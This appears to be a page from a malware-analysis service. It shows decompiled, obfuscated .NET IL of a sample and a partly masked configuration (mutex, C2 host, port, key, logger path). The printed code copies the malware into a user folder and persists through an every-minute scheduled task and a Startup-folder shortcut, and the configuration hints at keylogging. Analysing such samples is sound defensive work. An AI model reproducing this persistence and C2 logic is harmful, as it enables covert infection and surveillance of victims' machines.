5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::iVhyWChGOYsLR0r5PJGXIMFeASuwE5KmSTMAksEDEPj5vUDH45TFQZ9kgzk7ixXynu0Ivmrg3DMy0CKn call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::iVhyWChGOYsLR0r5PJGXIMFeASuwE5KmSTMAksEDEPj5vUDH45TFQZ9kgzk7ixXynu0Ivmrg3DMy0CKn ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::vqN9RQHhnZqycvkdLjaOpXCs8YjN3cia0eMEzs4IWNRIppAaX4MvIF13VZBanv15Jtv6JzgB49SqnUhx call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::vqN9RQHhnZqycvkdLjaOpXCs8YjN3cia0eMEzs4IWNRIppAaX4MvIF13VZBanv15Jtv6JzgB49SqnUhx ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::6I9eX6JnKrgvxU5GTmUBQUr7DLuCyTQogyzwCAoQptmWLLl7PbEt4zo3HbNmjXrXxzA2Kz2AXlZaET0P call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::6I9eX6JnKrgvxU5GTmUBQUr7DLuCyTQogyzwCAoQptmWLLl7PbEt4zo3HbNmjXrXxzA2Kz2AXlZaET0P ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::Nwt9ehC0D6z5DuUFsmar00zGfoDMr862vMavrn4OzgCfTVf61DVFzMX8hL6BldfTZvPduOx5JvbQs4Qw call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::Nwt9ehC0D6z5DuUFsmar00zGfoDMr862vMavrn4OzgCfTVf61DVFzMX8hL6BldfTZvPduOx5JvbQs4Qw ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::kPfkjTXCphiXjKIKhX3cPXL1T479eBt1IDIYVJMMq8bauFJnilXFgv8uCsSOw6JffrfW9REVHl26zaVN call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::kPfkjTXCphiXjKIKhX3cPXL1T479eBt1IDIYVJMMq8bauFJnilXFgv8uCsSOw6JffrfW9REVHl26zaVN ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::LtkQDndHPLFVUplmKRQtGCRv368TM5XWNUTtICmEiZfef3v9gxXUuQzC235MLIqiW07aZba57cgF25Uc call System.Object Stub.MArQa0diGiK5feRc8HFbQMA::B8Wkg9exsJGrjLP3kyKyiG2(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::LtkQDndHPLFVUplmKRQtGCRv368TM5XWNUTtICmEiZfef3v9gxXUuQzC235MLIqiW07aZba57cgF25Uc leave.s IL_0107: call System.Boolean Stub.rK2wsak9SuceeziEFgwn7Ys::NDR20Hx7zQXfngwWoBjz6DJ() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0107: call System.Boolean Stub.rK2wsak9SuceeziEFgwn7Ys::NDR20Hx7zQXfngwWoBjz6DJ() call System.Boolean Stub.rK2wsak9SuceeziEFgwn7Ys::NDR20Hx7zQXfngwWoBjz6DJ() brtrue.s IL_0114: ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::vqN9RQHhnZqycvkdLjaOpXCs8YjN3cia0eMEzs4IWNRIppAaX4MvIF13VZBanv15Jtv6JzgB49SqnUhx ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::vqN9RQHhnZqycvkdLjaOpXCs8YjN3cia0eMEzs4IWNRIppAaX4MvIF13VZBanv15Jtv6JzgB49SqnUhx ldstr \ ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::6I9eX6JnKrgvxU5GTmUBQUr7DLuCyTQogyzwCAoQptmWLLl7PbEt4zo3HbNmjXrXxzA2Kz2AXlZaET0P call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_4 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0156: ldloc.0 ldloc.s V_4 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_016D: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_5 ldloc.s V_5 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String Stub.rK2wsak9SuceeziEFgwn7Ys::thdSxSZIkD6kEtVIVX7f6LA call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0198: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_6 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0198: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_8 ldloc.s V_8 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.i5CAUsq6ZLtbHLzq85vgDdP::WykQGkvmOvSQNN8HUThxuWZ() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_01FE: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_12 ldloc.s V_12 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_12 ldc.i4.1 <null> ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::6I9eX6JnKrgvxU5GTmUBQUr7DLuCyTQogyzwCAoQptmWLLl7PbEt4zo3HbNmjXrXxzA2Kz2AXlZaET0P call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_12 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_12 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_12 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_12 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0242: ldloc.s V_8 ldloc.s V_8 ldc.i4.5 <null> newarr System.String stloc.s V_12 ldloc.s V_12 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_12 ldc.i4.1 <null> ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::6I9eX6JnKrgvxU5GTmUBQUr7DLuCyTQogyzwCAoQptmWLLl7PbEt4zo3HbNmjXrXxzA2Kz2AXlZaET0P call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_12 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_12 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_12 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_12 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_8 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_7 ldloc.s V_7 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_0263: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_9 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0263: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String 5UHfJEysFWruathSQcyDo8taktggU0nmHzeFN5ul5JKAMzn2d9ZDYYQZXpEHSPUPyo7vPlJvgmeVfsgN::6I9eX6JnKrgvxU5GTmUBQUr7DLuCyTQogyzwCAoQptmWLLl7PbEt4zo3HbNmjXrXxzA2Kz2AXlZaET0P call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_10 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_13 ldloc.s V_13 ldc.i4.0 <null> ldloc.s V_10 stelem.ref <null> ldloc.s V_13 stloc.s V_14 ldloc.s V_14 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_15 ldloc.s V_15 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_15 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_15 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_02E8: stloc.s V_16 ldloc.s V_14 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_10 stloc.s V_16 ldloc.s V_16 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_17 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_16 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_17 ldloc.s V_17 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_17 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_16 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_16 ldloc.s V_10 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.rK2wsak9SuceeziEFgwn7Ys::RJ5J2WvCzkJ7zg9JkGQ8PBk leave.s IL_0367: call System.Void Stub.Ggyl4lRqMptvs7SDiahD7XK::ZBrTiqEIo0D0brmAwbsjtSx() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0367: call System.Void Stub.Ggyl4lRqMptvs7SDiahD7XK::ZBrTiqEIo0D0brmAwbsjtSx() call System.Void Stub.Ggyl4lRqMptvs7SDiahD7XK::ZBrTiqEIo0D0brmAwbsjtSx() call System.Void Stub.rK2wsak9SuceeziEFgwn7Ys::oWmUmmnAznnD0MZ9fcg3QCU() ldnull <null> ldftn System.Void Stub.F5ILwFFVVdcTHjDYcJpGeiudxQIbGrxrCobyeNpKhOLYyocyLJ0jrJoeRl8SwAIj5AAMTnpQ76CfTpeZ::QHZBzYAS4msMBCDHT7BHT5L() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.F5ILwFFVVdcTHjDYcJpGeiudxQIbGrxrCobyeNpKhOLYyocyLJ0jrJoeRl8SwAIj5AAMTnpQ76CfTpeZ::RqANshFKKOlxeuVZo6fagGV() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.F5ILwFFVVdcTHjDYcJpGeiudxQIbGrxrCobyeNpKhOLYyocyLJ0jrJoeRl8SwAIj5AAMTnpQ76CfTpeZ::MzRS7PkDrgTaMyjw1qrhoaq() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.F5ILwFFVVdcTHjDYcJpGeiudxQIbGrxrCobyeNpKhOLYyocyLJ0jrJoeRl8SwAIj5AAMTnpQ76CfTpeZ::78pHUDBEcz8Yol7ugvOHQov() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Mutex MUTEXmalicious

0f2qchuhuhuhuhuhuhu

CnC CNCmalicious

196.2huhuhuhuhuhuhu

Port PORTmalicious

1huhuhuhu

Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.

Unlock with Essential

Config. Field	Value
Mutex	0f2qchuhuhuhuhuhuhu
Hosts	196.2huhuhuhuhuhuhu
Port	1huhuhuhu
KEY	<123huhuhuhu
USBNM	<XWhuhuhuhu
LoggerPath	%Usehuhuhuhuhuhuhu
family	xhuhuhuhu

We extracted this malware's full configuration (C2, credentials, campaign IDs…).

Unlock with Essential

Mutex MUTEXmalicious

0f2qchuhuhuhuhuhuhu

b637c7d8cbf206746cc89d9c4ac13a42

CnC CNCmalicious

196.2huhuhuhuhuhuhu

b637c7d8cbf206746cc89d9c4ac13a42

Port PORTmalicious

1huhuhuhu

b637c7d8cbf206746cc89d9c4ac13a42

Full artefact values (URLs, paths, registry keys, scripts…) are available with Essential.

Unlock with Essential

You must be signed in to view YARA rules.